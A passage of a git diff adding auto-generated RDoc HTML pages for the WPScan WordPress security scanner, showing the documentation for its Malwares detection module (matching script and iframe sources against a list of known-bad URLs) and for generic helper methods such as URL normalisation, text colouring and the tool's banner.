+<span class="ruby-keyword">end</span></pre>
+            </div><!-- repo_directory_arguments-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- repo_directory_arguments-method -->
+
+      
+      </div><!-- protected-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/Malwares.html b/doc/Malwares.html
new file mode 100644
index 00000000..f679e02a
--- /dev/null
+++ b/doc/Malwares.html
@@ -0,0 +1,384 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Module: Malwares</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="module">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/modules/malwares_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/modules/malwares.rb">lib/wpscan/modules/malwares.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-malware_pattern">::malware_pattern</a></li>
+          
+          <li><a href="#method-c-malwares_file">::malwares_file</a></li>
+          
+          <li><a href="#method-i-has_malwares-3F">#has_malwares?</a></li>
+          
+          <li><a href="#method-i-malwares">#malwares</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="module">Malwares</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="malware_pattern-method" class="method-detail ">
+          <a name="method-c-malware_pattern"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">malware_pattern</span><span
+              class="method-args">(url_regex)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="malware_pattern-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/malwares.rb, line 56</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">malware_pattern</span>(<span class="ruby-identifier">url_regex</span>)
+  <span class="ruby-comment"># no need to escape regex here, because malware.txt contains regex</span>
+  <span class="ruby-node">%{&lt;(?:script|iframe).* src=(?:&quot;|')(#{url_regex}[^&quot;']*)(?:&quot;|')[^&gt;]*&gt;}</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- malware_pattern-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- malware_pattern-method -->
+
+      
+        <div id="malwares_file-method" class="method-detail ">
+          <a name="method-c-malwares_file"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">malwares_file</span><span
+              class="method-args">(malwares_file_path)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="malwares_file-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/malwares.rb, line 52</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">malwares_file</span>(<span class="ruby-identifier">malwares_file_path</span>)
+  <span class="ruby-identifier">malwares_file_path</span> <span class="ruby-operator">||</span> <span class="ruby-constant">DATA_DIR</span> <span class="ruby-operator">+</span> <span class="ruby-string">'/malwares.txt'</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- malwares_file-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- malwares_file-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="has_malwares-3F-method" class="method-detail ">
+          <a name="method-i-has_malwares-3F"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">has_malwares?</span><span
+              class="method-args">(malwares_file_path = nil)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="has_malwares-3F-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/malwares.rb, line 23</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">has_malwares?</span>(<span class="ruby-identifier">malwares_file_path</span> = <span class="ruby-keyword">nil</span>)
+  <span class="ruby-operator">!</span><span class="ruby-identifier">malwares</span>(<span class="ruby-identifier">malwares_file_path</span>).<span class="ruby-identifier">empty?</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- has_malwares-3F-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- has_malwares-3F-method -->
+
+      
+        <div id="malwares-method" class="method-detail ">
+          <a name="method-i-malwares"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">malwares</span><span
+              class="method-args">(malwares_file_path = nil)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>return array of string (url of malwares found)</p>
+            
+
+            
+            <div class="method-source-code" id="malwares-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/malwares.rb, line 28</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">malwares</span>(<span class="ruby-identifier">malwares_file_path</span> = <span class="ruby-keyword">nil</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-ivar">@malwares</span>.<span class="ruby-identifier">nil?</span>
+    <span class="ruby-identifier">malwares_found</span> = []
+    <span class="ruby-identifier">malwares_file</span> = <span class="ruby-constant">Malwares</span>.<span class="ruby-identifier">malwares_file</span>(<span class="ruby-identifier">malwares_file_path</span>)
+    <span class="ruby-identifier">index_page_body</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">to_s</span>).<span class="ruby-identifier">body</span>
+
+    <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">malwares_file</span>, <span class="ruby-string">'r'</span>) <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">file</span><span class="ruby-operator">|</span>
+      <span class="ruby-identifier">file</span>.<span class="ruby-identifier">readlines</span>.<span class="ruby-identifier">collect</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">url</span><span class="ruby-operator">|</span>
+        <span class="ruby-identifier">chomped_url</span> = <span class="ruby-identifier">url</span>.<span class="ruby-identifier">chomp</span>
+
+        <span class="ruby-keyword">if</span> <span class="ruby-identifier">chomped_url</span>.<span class="ruby-identifier">length</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+          <span class="ruby-identifier">malwares_found</span> <span class="ruby-operator">+=</span> <span class="ruby-identifier">index_page_body</span>.<span class="ruby-identifier">scan</span>(<span class="ruby-constant">Malwares</span>.<span class="ruby-identifier">malware_pattern</span>(<span class="ruby-identifier">chomped_url</span>))
+        <span class="ruby-keyword">end</span>
+      <span class="ruby-keyword">end</span>
+    <span class="ruby-keyword">end</span>
+
+    <span class="ruby-identifier">malwares_found</span>.<span class="ruby-identifier">flatten!</span>
+    <span class="ruby-identifier">malwares_found</span>.<span class="ruby-identifier">uniq!</span>
+
+    <span class="ruby-ivar">@malwares</span> = <span class="ruby-identifier">malwares_found</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-ivar">@malwares</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- malwares-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- malwares-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/Object.html b/doc/Object.html
new file mode 100644
index 00000000..7252d523
--- /dev/null
+++ b/doc/Object.html
@@ -0,0 +1,755 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: Object</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/common_helper_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/common_helper.rb">lib/common_helper.rb</a></li>
+          
+            <li><a href="./lib/wpscan/wpscan_helper_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/wpscan_helper.rb">lib/wpscan/wpscan_helper.rb</a></li>
+          
+            <li><a href="./lib/wpstools/wpstools_helper_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpstools/wpstools_helper.rb">lib/wpstools/wpstools_helper.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link">BasicObject</p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-i-add_http_protocol">#add_http_protocol</a></li>
+          
+          <li><a href="#method-i-add_trailing_slash">#add_trailing_slash</a></li>
+          
+          <li><a href="#method-i-banner">#banner</a></li>
+          
+          <li><a href="#method-i-colorize">#colorize</a></li>
+          
+          <li><a href="#method-i-get_equal_string_end">#get_equal_string_end</a></li>
+          
+          <li><a href="#method-i-green">#green</a></li>
+          
+          <li><a href="#method-i-help">#help</a></li>
+          
+          <li><a href="#method-i-red">#red</a></li>
+          
+          <li><a href="#method-i-require_files_from_directory">#require_files_from_directory</a></li>
+          
+          <li><a href="#method-i-usage">#usage</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">Object</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+      <!-- Constants -->
+      <div id="constants-list" class="section">
+        <h3 class="section-header">Constants</h3>
+        <dl>
+        
+          <dt><a name="CACHE_DIR">CACHE_DIR</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+          <dt><a name="CONF_DIR">CONF_DIR</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+          <dt><a name="DATA_DIR">DATA_DIR</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+          <dt><a name="LIB_DIR">LIB_DIR</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+          <dt><a name="REVISION">REVISION</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+          <dt><a name="ROOT_DIR">ROOT_DIR</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+          <dt><a name="UPDATER_LIB_DIR">UPDATER_LIB_DIR</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+          <dt><a name="WPSCAN_LIB_DIR">WPSCAN_LIB_DIR</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+          <dt><a name="WPSCAN_VERSION">WPSCAN_VERSION</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+          <dt><a name="WPSTOOLS_LIB_DIR">WPSTOOLS_LIB_DIR</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+        </dl>
+      </div>
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="add_http_protocol-method" class="method-detail ">
+          <a name="method-i-add_http_protocol"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">add_http_protocol</span><span
+              class="method-args">(url)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Add protocol</p>
+            
+
+            
+            <div class="method-source-code" id="add_http_protocol-source">
+<pre>
+<span class="ruby-comment"># File lib/common_helper.rb, line 42</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">add_http_protocol</span>(<span class="ruby-identifier">url</span>)
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">url</span> <span class="ruby-operator">!~</span> <span class="ruby-regexp">/^https?:/</span>
+    <span class="ruby-identifier">url</span> = <span class="ruby-node">&quot;http://#{url}&quot;</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">url</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- add_http_protocol-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- add_http_protocol-method -->
+
+      
+        <div id="add_trailing_slash-method" class="method-detail ">
+          <a name="method-i-add_trailing_slash"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">add_trailing_slash</span><span
+              class="method-args">(url)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="add_trailing_slash-source">
+<pre>
+<span class="ruby-comment"># File lib/common_helper.rb, line 49</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">add_trailing_slash</span>(<span class="ruby-identifier">url</span>)
+  <span class="ruby-identifier">url</span> = <span class="ruby-node">&quot;#{url}/&quot;</span> <span class="ruby-keyword">if</span> <span class="ruby-identifier">url</span> <span class="ruby-operator">!~</span> <span class="ruby-regexp">/\/$/</span>
+  <span class="ruby-identifier">url</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- add_trailing_slash-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- add_trailing_slash-method -->
+
+      
+        <div id="banner-method" class="method-detail ">
+          <a name="method-i-banner"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">banner</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>our 1337 banner</p>
+            
+
+            
+            <div class="method-source-code" id="banner-source">
+<pre>
+<span class="ruby-comment"># File lib/common_helper.rb, line 106</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">banner</span>()
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">'____________________________________________________'</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot; __          _______   _____                  &quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot; \\ \\        / /  __ \\ / ____|                 &quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;  \\ \\  /\\  / /| |__) | (___   ___  __ _ _ __  &quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;   \\ \\/  \\/ / |  ___/ \\___ \\ / __|/ _` | '_ \\ &quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;    \\  /\\  /  | |     ____) | (__| (_| | | | |&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-node">&quot;     \\/  \\/   |_|    |_____/ \\___|\\__,_|_| |_| v#{WPSCAN_VERSION}r#{REVISION}&quot;</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;    WordPress Security Scanner by the WPScan Team&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot; Sponsored by the RandomStorm Open Source Initiative&quot;</span>
+  <span class="ruby-identifier">puts</span> <span class="ruby-string">'_____________________________________________________'</span>
+  <span class="ruby-identifier">puts</span>
+  <span class="ruby-keyword">if</span> <span class="ruby-constant">RUBY_VERSION</span> <span class="ruby-operator">&lt;</span> <span class="ruby-string">&quot;1.9&quot;</span>
+    <span class="ruby-identifier">puts</span> <span class="ruby-string">&quot;[WARNING] Ruby &lt; 1.9 not officially supported, please upgrade.&quot;</span>
+    <span class="ruby-identifier">puts</span>
+  <span class="ruby-keyword">end</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- banner-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- banner-method -->
+
+      
+        <div id="colorize-method" class="method-detail ">
+          <a name="method-i-colorize"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">colorize</span><span
+              class="method-args">(text, color_code)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="colorize-source">
+<pre>
+<span class="ruby-comment"># File lib/common_helper.rb, line 125</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">colorize</span>(<span class="ruby-identifier">text</span>, <span class="ruby-identifier">color_code</span>)
+  <span class="ruby-node">&quot;\e[#{color_code}m#{text}\e[0m&quot;</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- colorize-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- colorize-method -->
+
+      
+        <div id="get_equal_string_end-method" class="method-detail ">
+          <a name="method-i-get_equal_string_end"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_equal_string_end</span><span
+              class="method-args">(stringarray = [""])</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Gets the string all elements in stringarray ends with</p>
+            
+
+            
+            <div class="method-source-code" id="get_equal_string_end-source">
+<pre>
+<span class="ruby-comment"># File lib/common_helper.rb, line 55</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get_equal_string_end</span>(<span class="ruby-identifier">stringarray</span> = [<span class="ruby-string">&quot;&quot;</span>])
+  <span class="ruby-identifier">already_found</span> = <span class="ruby-string">&quot;&quot;</span>
+  <span class="ruby-identifier">looping</span> = <span class="ruby-keyword">true</span>
+  <span class="ruby-identifier">counter</span> = <span class="ruby-value">-1</span>
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">stringarray</span>.<span class="ruby-identifier">kind_of?</span> <span class="ruby-constant">Array</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">stringarray</span>.<span class="ruby-identifier">length</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">1</span>
+    <span class="ruby-identifier">base</span> = <span class="ruby-identifier">stringarray</span>[<span class="ruby-value">0</span>]
+    <span class="ruby-keyword">while</span> <span class="ruby-identifier">looping</span>
+      <span class="ruby-identifier">character</span> = <span class="ruby-identifier">base</span>[<span class="ruby-identifier">counter</span>, <span class="ruby-value">1</span>]
+      <span class="ruby-identifier">stringarray</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
+        <span class="ruby-keyword">if</span> <span class="ruby-identifier">s</span>[<span class="ruby-identifier">counter</span>, <span class="ruby-value">1</span>] <span class="ruby-operator">!=</span> <span class="ruby-identifier">character</span>
+          <span class="ruby-identifier">looping</span> = <span class="ruby-keyword">false</span>
+          <span class="ruby-keyword">break</span>
+        <span class="ruby-keyword">end</span>
+      <span class="ruby-keyword">end</span>
+      <span class="ruby-keyword">if</span> <span class="ruby-identifier">looping</span> <span class="ruby-operator">==</span> <span class="ruby-keyword">false</span> <span class="ruby-keyword">or</span> (<span class="ruby-identifier">counter</span> * <span class="ruby-value">-1</span>) <span class="ruby-operator">&gt;</span> <span class="ruby-identifier">base</span>.<span class="ruby-identifier">length</span>
+        <span class="ruby-keyword">break</span>
+      <span class="ruby-keyword">end</span>
+      <span class="ruby-identifier">already_found</span> = <span class="ruby-node">&quot;#{character if character}#{already_found}&quot;</span>
+      <span class="ruby-identifier">counter</span> <span class="ruby-operator">-=</span> <span class="ruby-value">1</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">already_found</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_equal_string_end-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_equal_string_end-method -->
+
+      
+        <div id="green-method" class="method-detail ">
+          <a name="method-i-green"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">green</span><span
+              class="method-args">(text)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="green-source">
+<pre>
+<span class="ruby-comment"># File lib/common_helper.rb, line 133</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">green</span>(<span class="ruby-identifier">text</span>)
+  <span class="ruby-identifier">colorize</span>(<span class="ruby-identifier">text</span>, <span class="ruby-value">32</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- green-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- green-method -->
+
+      
+        <div id="help-method" class="method-detail ">
